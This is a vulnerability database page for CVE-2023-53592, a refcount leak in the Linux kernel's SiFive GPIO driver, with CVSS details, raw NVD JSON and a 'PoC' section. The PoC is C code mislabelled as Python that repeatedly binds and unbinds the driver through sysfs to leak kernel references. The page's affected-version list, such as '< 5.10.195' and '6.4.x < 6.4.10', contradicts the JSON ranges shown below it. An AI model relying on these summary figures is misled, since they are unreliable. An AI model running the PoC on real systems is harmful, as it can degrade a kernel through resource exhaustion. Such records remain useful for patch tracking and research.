Security Vulnerability Report
中文
CVE-2023-53592 CVSS 5.5 MEDIUM

CVE-2023-53592

Published: 2025-10-04 16:15:56
Last Modified: 2026-03-21 00:49:47
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: gpio: sifive: Fix refcount leak in sifive_gpio_probe of_irq_find_parent() returns a node pointer with refcount incremented, We should use of_node_put() on it when not needed anymore. Add missing of_node_put() to avoid refcount leak.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.2:rc1:*:*:*:*:*:* - VULNERABLE
Linux kernel < 5.10.195
Linux kernel 5.15.x < 5.15.137
Linux kernel 5.19.x < 5.19.195
Linux kernel 6.1.x < 6.1.55
Linux kernel 6.4.x < 6.4.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2023-53592 PoC - Trigger refcount leak in gpio-sifive driver * This PoC demonstrates how to trigger the refcount leak by repeatedly * probing and removing the SiFive GPIO driver. * Note: Requires root privileges to load/unload kernel modules. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define GPIO_SIFIVE_DEVICE_PATH "/sys/bus/platform/drivers/gpio-sifive" /* Function to trigger driver probe by binding the device */ int trigger_probe(const char *device_path) { char path[256]; int fd; /* Bind the device to trigger probe */ snprintf(path, sizeof(path), "%s/bind", GPIO_SIFIVE_DEVICE_PATH); fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open bind interface"); return -1; } write(fd, device_path, strlen(device_path)); close(fd); return 0; } /* Function to unbind the device to trigger remove */ int trigger_remove(const char *device_path) { char path[256]; int fd; snprintf(path, sizeof(path), "%s/unbind", GPIO_SIFIVE_DEVICE_PATH); fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open unbind interface"); return -1; } write(fd, device_path, strlen(device_path)); close(fd); return 0; } int main(int argc, char *argv[]) { const char *device = "10060000.gpio"; /* SiFive GPIO device name */ int iterations = 1000; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2023-53592 PoC: Triggering refcount leak\n"); printf("Iterations: %d\n", iterations); for (int i = 0; i < iterations; i++) { if (trigger_probe(device) != 0) break; usleep(10000); /* 10ms delay */ if (trigger_remove(device) != 0) break; usleep(10000); if (i % 100 == 0) { printf("Progress: %d/%d\n", i, iterations); } } printf("Completed. Check kernel logs for any issues.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53592", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:55.670", "lastModified": "2026-03-21T00:49:47.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngpio: sifive: Fix refcount leak in sifive_gpio_probe\n\nof_irq_find_parent() returns a node pointer with refcount incremented,\nWe should use of_node_put() on it when not needed anymore.\nAdd missing of_node_put() to avoid refcount leak."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.6", "versionEndExcluding": "5.10.163", "matchCriteriaId": "4654101F-4C35-4BDB-81A1-409BBE820B2F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.87", "matchCriteriaId": "7B9E5B1C-CD46-4790-9500-615863850401"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.19", "matchCriteriaId": "B70FF53F-1F99-4483-9376-CBA1A4EE0351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.5", "matchCriteriaId": "8C1E7766-4310-43F9-BAC4-3763A36C043A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.2:rc1:*:*:*:*:*:*", "matchCriteriaId": "FF501633-2F44-4913-A8EE-B021929F49F6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.2:rc2:*:*:*:*:*:*", "matchCriteriaId": "2BDA597B-CAC1-4DF0-86F0-42E142C654E9"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/694175cd8a1643cde3acb45c9294bca44a8e08e9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/95da1882ce9372ba20278f87cdb7a34f9812c4b5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9a402a210798662b04cbe6ca466e916a15efa03a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f4a2ad1002006548e235255c65a4f1d07312be9d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f9fb4776ebbc16dfc512adbdc0fe218acb47c7cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}